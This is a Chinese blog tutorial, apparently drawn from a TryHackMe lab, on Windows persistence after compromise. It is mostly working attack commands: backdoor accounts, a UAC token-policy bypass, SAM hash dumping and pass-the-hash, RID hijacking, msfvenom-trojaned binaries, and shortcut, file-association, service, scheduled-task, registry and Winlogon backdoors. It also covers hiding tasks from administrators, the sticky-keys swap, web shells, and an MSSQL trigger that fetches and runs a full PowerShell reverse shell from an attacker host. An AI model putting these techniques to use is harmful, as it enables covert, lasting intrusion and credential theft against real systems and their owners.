Windows最常用的权限维持技术

Windows最常用的权限维持技术_第1张图片

权限维持的意义

如果系统管理员或事件响应者决定查看会话日志或他们认为这是可疑的账户日志,因此他们会怀疑此已经账户被盗用,然后更改密码和终止符访问权限,因此我们为了绕过蓝队或安全防护就需要权限维持技术

工具

WinRM

WinRM(Windows 远程管理)是 WS 管理协议的 Microsoft 实现。一种基于标准 SOAP 的协议,允许来自不同供应商的硬件和操作系统进行互操作。
下载地址:

https://github.com/Hackplayers/evil-winrm
  • 使用的时候遇到报错可以尝试以下解决:
gem install rexml 
gem install winrm&&gem install winrm-fs

在powershell中尝试开启Winrm服务

enable-psremoting

impacket

Impacket 是一组用于处理网络协议的 Python 类。Impacket 专注于提供对数据包和某些协议(例如 SMB1-3 和 MSRPC)协议实现本身的低级编程访问。数据包可以从头开始构建,也可以从原始数据中解析,面向对象的 API 使得使用深层协议层次结构变得简单。
下载地址:

https://github.com/fortra/impacket/releases

nc64.exe

下载地址:

https://github.com/int0x33/nc.exe/

PSTools工具包

下载地址:

https://download.sysinternals.com/files/PSTools.zip

篡改非特权帐户

拥有管理员凭证是在机器中实现持久性的最简单方法。然而,为了让蓝队更难检测到我们,我们可以操纵通常不会像管理员那样受到监控的非特权用户,并以某种方式授予他们管理权限。

分配组成员权限

破解账户sam,此操作仅限于管理员
使非特权用户获得管理权限的直接方法是使其成为Administrators组的一部分。我们可以使用以下命令:这将允许您使用 RDP、WinRM 或任何其他可用的远程管理服务来访问服务器。

net  localgroup administrators thmuser0 /add

Windows最常用的权限维持技术_第2张图片
不过直接添加为管理员组看起来太可疑了,我们可以使用 Remote Mangement Users组 将用户添加到远程管理用户是持久性机制的重要组成部分 你能够使用远程进行登录:远程管理用户(WinRM) 组

net localgroup "Remote Management Users" thmuser1 /add

image.png
备份操作员的特权组(Backup Operators组),该组中的用户没有管理权限,但可以读取/写入系统上的任何文件或注册表项。

  • 首先将帐户添加到 Backup Operators 组
net localgroup "Backup Operators" thmuser1 /add

image.png
假设我们已经将凭据转储到服务器上并拥有 thmuser1 的密码。让我们使用其凭据通过 WinRM 进行连接:

./evil-winrm.rb -i 指定ip	-u 指定用户名 -p 密码

Windows最常用的权限维持技术_第3张图片
查看该用户属于的组,发现权限似乎不大

whoami /groups

Windows最常用的权限维持技术_第4张图片
这是由于用户帐户控制 (UAC)。UAC 实现的一项功能 LocalAccountTokenFilterPolicy 会在远程登录时剥夺任何本地帐户的管理权限。虽然我们可以从图形用户会话通过 UAC 提升您的权限,但如果使用的是 WinRM,将被限制在没有管理权限的有限访问令牌中。

UAC突破

为了能够从您的用户那里重新获得管理权限,我们必须通过将以下注册表项更改为 1 来禁用LocalAccountTokenFilterPolicy:

C:\Users\Administrator>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

image.png
一旦所有这些都设置好了,我们就可以使用我们的后门用户了
Windows最常用的权限维持技术_第5张图片
现在我们可以更进一步:可以下载系统和sam hives,来尝试破解管理哈希或其他账户哈希

reg save hklm\system system.bak # 下载系统配置单元
reg save hklm\sam sam.bak       #	将system替换为sam

Windows最常用的权限维持技术_第6张图片
下载备份 SAM 和 SYSTEM 文件到我们的本地攻击机上:

donwload sam.bak 
download system.bak

Windows最常用的权限维持技术_第7张图片

提取哈希

回到本地机器,现在我们可以使用工具 secretsdump.py 转储所有用户的密码哈希值

source venv/bin/activate 
python secretsdump.py -sam sam.bak -system system.bak LOCAL

Windows最常用的权限维持技术_第8张图片
获取最右边的hash值,以管理员权限连接到受害机器:

./evil-winrm.rb -i 10.10.133.32 -u Administrator  -H f3118544a831e728781d780cfdb9c1fa

Windows最常用的权限维持技术_第9张图片

工具报错解决

WARNING: Running pip as the ‘root’ user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv
1.安装virtualenv工具(如果尚未安装)

pip install virtualenv

2.在项目目录创建虚拟环境

cd 你的工具目录
virtualenv venv

3.激活虚拟环境

source venv/bin/activate

4.在虚拟环境中安装你所需要的python包

pip install impacket 

当你完成一个项目时,可以使用以下命令来退出虚拟环境:

deactivate

特殊权限和安全描述符

无需修改任何组成员资格即可获得与将用户添加到 Backup Operators 组类似的结果。因为特殊组之所以特殊,是因为操作系统默认为他们分配了特定的权限。

备份特权

属于该组的任何用户都可以读取系统中的任何文件,所以基本上这意味着如果我们是备份特权的一部分,我们可以读取包括系统文件或在内的文件。如果我们是恢复特权的一部分,我们可以在系统中写入任何文件。
对于 Backup Operators 组,它默认分配有以下两个权限:

  • **SeBackupPrivilege:**用户可以读取系统中的任何文件,忽略任何DACL。
  • **SeRestorePrivilege:**用户可以写入系统中的任何文件,忽略任何DACL。

所以如果我们将用户添加到这些组之一或者同时添加到这两个组,我们就不用去管任何适当的自由访问控制列表,当我们成功的使用该向导登录,我们将能够在系统上执行特权操作,所以基本上这也是执行持久性的两种特权。

演示

首先 我们将创建一个配置文件,导出系统配置

secedit /export /cfg config.inf

image.png
搜索关键字:SeBackupPrivilege 、SeRestorePrivilege 添加后门用户名字
Windows最常用的权限维持技术_第10张图片
最后将 .inf 文件转换为 .sdb 文件,然后使用该文件将配置加载回系统:

secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.inf

Windows最常用的权限维持技术_第11张图片
现在它拥有的特权相当于备份用户,因为 UAC 无法通过winrm登录,现在我们需要确保用户能够使用一个参数重新登录

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

为了让后门用户能使用winrm登录,因为该用户不是远程管理用户的一部分,我们将需要更改安全描述符,它是一种访问控制列表。
使用powershell执行

Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

完成此操作后,我们的后门用户就可以通过 WinRM 进行连接。
Windows最常用的权限维持技术_第12张图片
现在使用winrm登录thmuser2后门用户,可以看见user2不属于任何特殊组,却拥有特殊组权限,它将看起来像普通用户。一点都不可疑!

whoami /priv

Windows最常用的权限维持技术_第13张图片

net user thmuser2

image.png
由于用户具有 SeBackup 和 SeRestore 权限,我们可以重复这些步骤从 SAM 恢复密码哈希并与管理员用户重新连接。
Windows最常用的权限维持技术_第14张图片
后面方法和前面的分配组成员一样,不再赘述了。

RID劫持

无需成为管理员即可获得管理权限的方法是更改某些注册表值,使操作系统认为您是管理员。

RID的原理

创建用户时,会为他们分配一个称为相对 ID (RID)的标识符。RID 只是一个代表整个系统用户的数字标识符。当用户登录时,LSASS 进程从 SAM 注册表配置单元获取其 RID 并创建与该 RID 关联的访问令牌。
在任何 Windows 系统中,默认的 Administrator 帐户被分配RID = 500,而普通用户通常RID >= 1000。

  • 查找为任何用户分配的 RID
wmic useraccount get name,sid

尾端后面的数值就是RID
Windows最常用的权限维持技术_第15张图片

劫持演示

如果我们可以篡改注册表值,我们可以通过将相同的 RID 关联到两个帐户,让 Windows 将管理员访问令牌分配给非特权用户。
打开注册表编辑器

regedit

给予administrators组权限控制
Windows最常用的权限维持技术_第16张图片
来到注册表编辑的位置

HKLM\SAM\SAM\Domains\Account\Users\

Windows最常用的权限维持技术_第17张图片
每个用户都有一个密钥的地方,找到你所需的后门用户十六进制对应的RID值(1010=0x3F2)
Windows最常用的权限维持技术_第18张图片
在相应的键下,会有一个名为F的值,它在位置 0x30 处保存用户的有效 RID
Windows最常用的权限维持技术_第19张图片

注意:RID 是使用小端表示法存储的,因此它的字节显示为颠倒的。比如十六进制0x3F2变为 0xF203

我们现在将用十六进制的管理员 RID (500 = 0x01F4) 替换这两个字节,切换字节 (F401):
选中字节再进行更改
Windows最常用的权限维持技术_第20张图片
当我们使用thmuser3后门用户rdp协议登录的时候,可以发现登陆的是administrator用户
image.png

后门文件

创建后门是最流行的持久性技术之一,无论是在Windows还是其他系统中

可执行文件

任何可执行文件,则用户很可能会经常使用它。比如计算器 calc.exe,我们可以将该执行文件下载到攻击者的机器上并修改它添加我们想要的任何payload,二进制文件仍将像往常一样工作,但通过在二进制文件中添加一个额外的线程来静默执行额外的有效负载。
要创建后门的 calc.exe,我们可以使用以下命令:

msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=4444 -b "\x00" -f exe -x calc.exe -o calcX.

\x00指令是空指令,为了防止shellcode报错,这里去掉\x00
Windows最常用的权限维持技术_第21张图片
虽然这种方法足以建立持久性,但是没做免杀还是不太稳定

https://www.virustotal.com/

Windows最常用的权限维持技术_第22张图片

快捷方式文件

我们可以将快捷方式的目标更改为指向将运行后门的脚本,然后正常执行通常的程序,而不是直接指向预期的可执行文件。右键查看属性
Windows最常用的权限维持技术_第23张图片
在劫持快捷方式的目标之前,让我们在任何偷偷摸摸的位置创建一个简单的 Powershell 脚本,脚本内容:

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4444"

C:\Windows\System32\calc.exe

Windows最常用的权限维持技术_第24张图片
我们将更改快捷方式以指向我们的脚本

powershell.exe -WindowStyle hidden C:\Windows\System32\a.ps1

Windows最常用的权限维持技术_第25张图片
将图标指向原始可执行文件,这样用户就不会看到任何可见的更改。
Windows最常用的权限维持技术_第26张图片
Windows最常用的权限维持技术_第27张图片
在攻击机监听4444端口
image.png
如果双击该快捷方式,应该可以连接回攻击者的计算机。同时,用户将得到一个如他们所愿的计算器。他们可能会注意到命令提示符在屏幕上闪烁并立即消失。只能希望普通用户可能不会太在意这一点。
Windows最常用的权限维持技术_第28张图片

劫持文件关联

除了通过可执行文件或快捷方式持久化之外,我们还可以劫持任何文件关联,以强制操作系统在用户打开特定文件类型时运行 shell。

regedit

默认的操作系统文件关联保存在注册表中:HKLM_LOCAL_MACHINE\Software\Classes
Windows最常用的权限维持技术_第29张图片
假设我们要检查哪个程序用于打开 .txt 文件;我们可以去检查子.txt项并找到与之关联的程序 ID (ProgID) 。ProgID 只是系统上安装的程序的标识符。对于 .txt 文件,我们将具有以下 ProgID:
Windows最常用的权限维持技术_第30张图片
然后我们可以搜索相应 ProgID 的子项(也在 下HKLM\Software\Classes\),在本例的 txtfile,我们将在其中找到对负责处理 .txt 文件的程序的引用。大多数 ProgID 条目将有一个子项,在该子项下shell\open\command 指定为具有该扩展名的文件运行的默认命令:
Windows最常用的权限维持技术_第31张图片
在这种情况下,当您尝试打开一个 .txt 文件时,系统将执行%SystemRoot%\system32\NOTEPAD.EXE %1,其中%1代表打开的文件的名称。
如果我们想劫持这个扩展,我们可以用执行后门的脚本替换命令,然后像往常一样打开文件。首先,让我们创建一个包含以下内容的 ps1 脚本并将其保存到 C:\Windows\System32\a.ps1 :

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4444"
C:\Windows\system32\NOTEPAD.EXE $args[0]

在Posershell中,我们必须传递 $args[0] 给记事本,因为他它将包含要打开的文件的名称,如通过 %1,
Windows最常用的权限维持技术_第32张图片
最后更改注册表项以在隐藏窗口中运行我们的后门脚本:

powershell.exe -WindowStyle hidden C:\Windows\System32\a.ps1

Windows最常用的权限维持技术_第33张图片
当受害者打开文本类型的时候,攻击机就会接收到shell
Windows最常用的权限维持技术_第34张图片
Windows最常用的权限维持技术_第35张图片

滥用服务

Windows 服务提供了一种建立持久性的好方法,因为它们可以配置为在受害者机器启动时在后台运行。如果可以利用服务为我们运行各种有效载荷,我们就可以在受害者每次启动时获得该主机的控制。
目前主要的两种主要方式滥用服务:创建新服务或修改现有服务以执行我们的有效负载。

原理

Windows 服务基本上是在后台运行的可执行文件。配置服务时,可以定义将使用哪个可执行文件并选择服务是在机器启动时自动运行还是应手动启动。

创建后门服务

使用MSF生成恶意载荷

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.14.55.65 LPORT=4444 -f exe-service -o payload.exe

攻击机开启http服务8000
Windows最常用的权限维持技术_第36张图片然后来到受害者机器下载该恶意文件

powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.14.55.65:8000/payload.exe','payload.exe')"

在终端中使用以下命令,创建自启动的后门服务

sc create THMservice binPath= "可以是恶意命令 也可以是恶意文件的所在路径" start= auto # 指定服务为自启动模式
sc start THMservice  # 启动服务运行

注意:每个等号后必须有一个空格才能使命令生效。
Windows最常用的权限维持技术_第37张图片
最后返回MSF监听器,已经看到获得一个反向shell了
Windows最常用的权限维持技术_第38张图片

修改现有服务

虽然为持久性创建后门服务效果很好,但蓝队或者安全防护软件可能会监控整个网络的新服务创建。我们可能希望重用现有服务而不是创建服务以避免检测。通常,任何禁用的服务都是一个很好的候选者,因为它可能会在用户不注意的情况下被更改。
获取可用服务的列表

sc query state=all

Windows最常用的权限维持技术_第39张图片
进一步查看详细信息,这里以thmservice3为例子

sc query thmservice3

Windows最常用的权限维持技术_第40张图片
查询服务的配置信息

sc qc thmservice 3

Windows最常用的权限维持技术_第41张图片
在使用服务进行持久化时,我们关心三件事:

  • 可执行文件 ( BINARY_PATH_NAME ) 应该指向我们的负载。
  • 服务START_TYPE应该是自动的,这样负载就可以在没有用户交互的情况下运行。
  • SERVICE_START_NAME是运行服务的帐户,最好将其设置为LocalSystem以获得 SYSTEM 权限。

创建恶意的payload载荷,步骤和前面一样
重新配置“THMservice3”参数,我们可以使用以下命令:

sc config THMservice3 binPath= "恶意代码" start= auto obj= "LocalSystem"

image.png
再次查看配置信息
Windows最常用的权限维持技术_第42张图片
当服务运行的时候可以看见,恶意载荷已经在运行了
Windows最常用的权限维持技术_第43张图片

滥用计划任务

任务计划程序

调度任务的最常见方法是使用内置的Windows 任务计划程序。任务计划程序允许精细控制任务何时开始,允许我们配置将在特定时间激活、定期重复甚至在特定系统事件发生时触发的任务。使用schtasks与任务计划程序进行交互。
schtasks命令可以参考这个

https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks

现在我们创建一个任务计划程序名称为:THM-TaskBackdoor,每一分钟以System权限运行恶意的有效载荷

schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "恶意payload" /ru SYSTEM
  • /sc 指定任务时间类型
  • /mo 指定任务时间类型内运行的频率
  • /tn 指定任务的名称
  • /tr 指定任务运行的程序或命令
  • /ru 使用指定用户帐户的权限运行任务

image.png
kali开启监听,可以看见已经接收到shell了
Windows最常用的权限维持技术_第44张图片

让恶意的任务不可见

如果受感染的用户试图列出其计划任务,我们的后门任务就会引人注目。为了进一步隐藏我们的计划任务,我们可以通过删除其安全描述符 (SD)使其对系统中的任何用户都不可见。

SD是什么

S代表 security 安全的意思,D代表描述符。它只是一个访问控制列表 (ACL)权限列表,用于确定谁可以访问计算机网络中的特定资源。它用于授予或拒绝对文件、文件夹、打印机和其他网络资源的访问权限。说明哪些用户可以访问计划任务。

原理

如果 ACL 不允许您的用户查询计划任务,就将无法再看到它,因为 Windows 只会向你显示当前用户有权使用的任务。删除SD相当于禁止所有用户访问计划任务,包括管理员。

演示

为了隐藏我们的任务,让我们删除之前创建的“THM-TaskBackdoor”任务的 SD 值。为此,我们必须打开注册表编辑器

PsExec64.exe -s -i regedit
# 权限不足时,使用此工具以SYSTEM权限打开
# -s 在系统帐户中运行远程进程  -i 启动交互式命令

所有计划任务的安全描述符都存储在这里

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\

Windows最常用的权限维持技术_第45张图片
然后右键删除该后门用户的SD值
Windows最常用的权限维持技术_第46张图片
当我们查询后门用户的时候,可以看见找不到该文件,已经完全隐藏了
Windows最常用的权限维持技术_第47张图片

登录触发的持久性

用户执行的某些操作也可能绑定到执行特定有效载荷以实现持久性。Windows 操作系统提供了几种将有效负载与特定交互联系起来的方法。这些有效载荷将在用户登录系统时执行。

启动文件夹

每个用户都有一个文件夹,我们可以在该文件夹下放置要在用户登录时运行的可执行文件。攻击者只需在其中放置有效负载即可实现持久性。

C:\Users\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

请注意,每个用户将只运行其文件夹中可用的任何内容。
Windows最常用的权限维持技术_第48张图片
现在我们像往常一样生成好恶意payload,然后开始监听

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.14.55.65 LPORT=4444 -f exe  -o payload.exe 
python3 -m http.server

Windows最常用的权限维持技术_第49张图片
image.png
将恶意文件放入到启动文件中

powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.14.55.65:8000/payload.exe','payload.exe')"

Windows最常用的权限维持技术_第50张图片
我们退出rdp登录,重新登陆的时候就可以看见接收到来自受害者的shell了
Windows最常用的权限维持技术_第51张图片

注册表修改

我们还可以强制用户通过注册表在登录时执行程序。

run/runOnce

可以使用以下注册表项来指定要在登录时运行的应用程序:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

注册表项HKCU将仅适用于当前用户,注册表项HKLM将适用于所有人。Run每次用户登录时,键下指定的任何程序都会运行。键下指定的程序RunOnce将只执行一次。
Windows最常用的权限维持技术_第52张图片
创建注册表项,名称可以任意,它值为我们要执行的后门程序
Windows最常用的权限维持技术_第53张图片
image.png
退出当前会话并再次登录时,我们的攻击机就会接收到反向shell
Windows最常用的权限维持技术_第54张图片
大概等个10秒左右
image.png

滥用 Winlogon登录

这是一个在身份验证后立即加载用户配置文件的 Windows 组件,在登录时自动启动程序的替代方法。
Winlogon 的注册表项:

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
  • Userinit指向userinit.exe,它负责恢复您的用户配置文件首选项。
  • shell指向系统的外壳,通常是explorer.exe.

Windows最常用的权限维持技术_第55张图片
如果我们用一些反向 shell 替换任何可执行文件,我们将破坏登录序列,这是不希望的。有趣的是,我们可以附加以逗号分隔的命令,Winlogon 将处理所有这些命令。
Windows最常用的权限维持技术_第56张图片
可以更改Shell或Userinit,这里以Userinit为例子
完成此操作后,退出当前会话并再次登录,可以看到攻击机接受到shell了
Windows最常用的权限维持技术_第57张图片

登录脚本

加载用户配置文件时userinit.exe 是检查名为UserInitMprLogonScript。默认情况下未设置该变量,因此我们可以创建它并分配我们喜欢的任何脚本。

HKCU\Environment

Windows最常用的权限维持技术_第58张图片
如果没有设置变量名,我们可以自己添加一个
image.png
注册表项在 中没有等效项HKLM,这个后门仅适用于当前用户。退出当前会话并再次登录,会收到一个 shell
image.png

后门登录屏幕(辅助功能)

我们可以在登录屏幕后门访问终端,而无需机器的有效凭据。通常情况下比较适合物理访问机器,这里以远程登录为例子。

粘贴键

粘贴键通常情况下有两种启动方式

  1. Ctrl + Alt + Del ,一次一个键
  2. 连续按 Shift 键五次

Windows最常用的权限维持技术_第59张图片
如果用快捷方式允许我们通过按SHIFT5 次来激活粘滞键。会看到如下所示的屏幕:
Windows最常用的权限维持技术_第60张图片
按 shift5 次后,Windows 将执行 C:\Windows\System32\sethc.exe。我们可以利用这种特性来替换类似的恶意文件,我们就可以用快捷方式触发它。
要覆盖sethc.exe,我们首先需要取得文件的所有权并授予我们当前用户修改它的权限。

takeown /f sethc.exe # 查看是否属于该用户组所管
icacls sethc.exe /grant Administrator:F # 修改该文件权限为Administrator用户完全控制
copy cmd.exe sethc.exe # 覆盖粘贴键

Windows最常用的权限维持技术_第61张图片
最后我们锁定会话,按五次SHIFT键,就可以看见出现了具有 System 权限的cmd控制台了
Windows最常用的权限维持技术_第62张图片

Windows最常用的权限维持技术_第63张图片

Utilman

Utilman 是一个内置的 Windows 应用程序,用于在锁定屏幕期间提供轻松访问选项:
Windows最常用的权限维持技术_第64张图片
当我们单击登录屏幕上的轻松访问按钮时,它会以 SYSTEM 权限执行

 C:\Windows\System32\Utilman.exe 

方法同上,不再赘述了

通过现有服务坚持

如果不想使用 Windows 功能来隐藏后门,我们可以使用任何运行代码的现有服务中获益。

web shell

web 服务器中实现持久化的通常方法是将 shell文件 上传到 web 目录。这很简单,将授予我们访问 IIS 中配置用户的权限,但默认情况下是 iis apppool\defaultapppool .

  • 将木马放入到网站服务里
C:\inetpub\wwwroot

Windows最常用的权限维持技术_第65张图片
注意:如果在访问 shell 的 URL 时遇到权限被拒绝的错误,只需授予每个人对该文件的完全权限即可

icacls shell.aspx /grant Everyone:F

Windows最常用的权限维持技术_第66张图片
即使这是一个非特权用户,它也有特殊的SeImpersonatePrivilege , 提供了一种使用各种已知漏洞利用的简单方法来升级到管理员。
Windows最常用的权限维持技术_第67张图片
SeImpersonatePrivilege 提权 下载地址:

https://github.com/itm4n/PrintSpoofer/releases

复现具体可以参考这篇:

https://www.freebuf.com/articles/network/283776.html

使用 MSSQL 作为后门

我们打开Microsoft SQL Server Management Studio 18,使用默认值连接就好了
Windows最常用的权限维持技术_第68张图片
登录后,单击“新建查询”按钮打开查询编辑器:
Windows最常用的权限维持技术_第69张图片
运行以下SQL语句,启用MSSQL配置中的“高级选项”,然后启用xp_cmdshell.

sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO

sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO

Windows最常用的权限维持技术_第70张图片
我们必须确保任何访问该数据库的网站都可以运行xp_cmdshell。默认情况下,数据库用户sysadmin才能这样做。由于预计 Web 应用程序使用受限数据库用户,因此我们可以授予所有用户权限以模拟该sysadmin用户

USE master

GRANT IMPERSONATE ON LOGIN::sa to [Public];

Windows最常用的权限维持技术_第71张图片
完成所有这些之后,我们终于配置了一个触发器。我们首先切换到HDRB数据库:

USE HRDB

Windows最常用的权限维持技术_第72张图片
kali 准备好 http服务器和监听
image.png
利用触发器执行 Powershell从攻击者控制的 Web 服务器xp_cmdshell下载并运行文件。
当 插入 Employees数据表中将执行HRDB,即 .ps1 脚本

CREATE TRIGGER [sql_backdoor2]
ON HRDB.dbo.Employees 
FOR INSERT AS

EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://10.14.55.65:8000/exp.ps1'')"';

原理是利用该服务的数据表,当数据表有内容插入的时候就会执行代码
Windows最常用的权限维持技术_第73张图片
exp.ps1的脚本内容:

$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4444);

$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};

$client.Close()

Windows最常用的权限维持技术_第74张图片
当用户插入我们指定的数据表的时候,就会成功执行我们的playload
Windows最常用的权限维持技术_第75张图片
返回攻击,可以看见接收到一个shell了
image.png

总结

权限维持能很好的躲避很多事情,也能让我们更加轻松的操作想做的事,但是免杀很重要,在了解权限维持技术的前提下,还要学会如何制作免杀,从而达到真正的绕过且维持。
参考:

https://tryhackme.com/room/windowslocalpersistence#

你可能感兴趣的:(windows,网络,网络安全,安全)